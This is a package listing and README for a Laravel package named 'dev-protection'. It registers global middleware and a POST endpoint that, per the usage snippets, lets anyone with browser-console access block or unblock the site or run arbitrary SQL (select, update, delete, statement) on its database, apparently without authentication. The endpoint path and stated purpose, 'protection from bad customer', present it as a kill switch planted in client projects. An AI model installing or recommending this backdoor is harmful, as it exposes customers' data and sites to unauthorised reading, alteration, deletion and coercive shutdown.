masterro/dev-protection

Laravel 5.* package for quick developer protection functions
579
Install
composer require masterro/dev-protection
Latest Version:1.1.2
Laravel:5
License:MIT
Last Updated:Aug 8, 2017
Links: GitHub  ·  Packagist
Maintainer: MasterRO

Laravel developer protection

This is a small Laravel >= 5 package that comes with 3 functions out of the box for block, unblock and run any sql query from browser JavaScript console.

Installation

Step 1: Composer

From the command line, run:

composer require masterro/dev-protection

Step 2: Service Provider (For Laravel < 5.5)

For your Laravel app, open config/app.php and, within the providers array, append:

MasterRO\DevProtection\DevProtectionServiceProvider::class

Step 3: Middleware

I push middleware to global middleware stack, but not sure if it would work in all Laravel versions. So you can try without adding middleware and if it wouldn't work add it manually to your http Kernel or create your own that would be check if site is blocked and throw an exception or show your custom page.

protected $middleware = [
    \Illuminate\Foundation\Http\Middleware\CheckForMaintenanceMode::class,
    \MasterRO\DevProtection\ProtectionMiddleware::class,
];

Usage

In browser open JavaScript console and run

To block

var xhr = new XMLHttpRequest();
var data = new FormData;

data.append('action', 'block');

xhr.open("POST", '/dev/protection/from/bad/customer', true);

xhr.send(data);

To unblock

var xhr = new XMLHttpRequest();
var data = new FormData;

data.append('action', 'unblock');

xhr.open("POST", '/dev/protection/from/bad/customer', true);

xhr.send(data);

To run sql query

var xhr = new XMLHttpRequest();
var data = new FormData;

data.append('action', 'query');
data.append('params[]', 'select * from users'); // sql
data.append('params[]', 'select'); // query type - available types: select, update, delete, statement

xhr.open("POST", '/dev/protection/from/bad/customer', true);

xhr.send(data);

Package is using an underlying class MasterRO\DevProtection\Protector that uses Macroable trait, so you can extend the functionality like you need.

Related Packages

igormatkovic/laravel-livelogger

Log and display you app live to your developers

61 1
mrjgreen/database

Expressive Database Layer for PHP - Based on Illuminate/Database

48,612 52
laravel/database

Get Laravel database for your non laravel projects. Built on top of illuminate/d...

36,393 90
crcms/elasticsearch

Use SQL statements to query elasticsearch

8,275 102
cerbero/sql-dumper

Laravel package to dump SQL queries.

7,690 23

Version History

Version Released Laravel License
1.1.2 5.* MIT
1.1.1 5.* MIT
1.1.0 5.* MIT
1.0.0 5.* MIT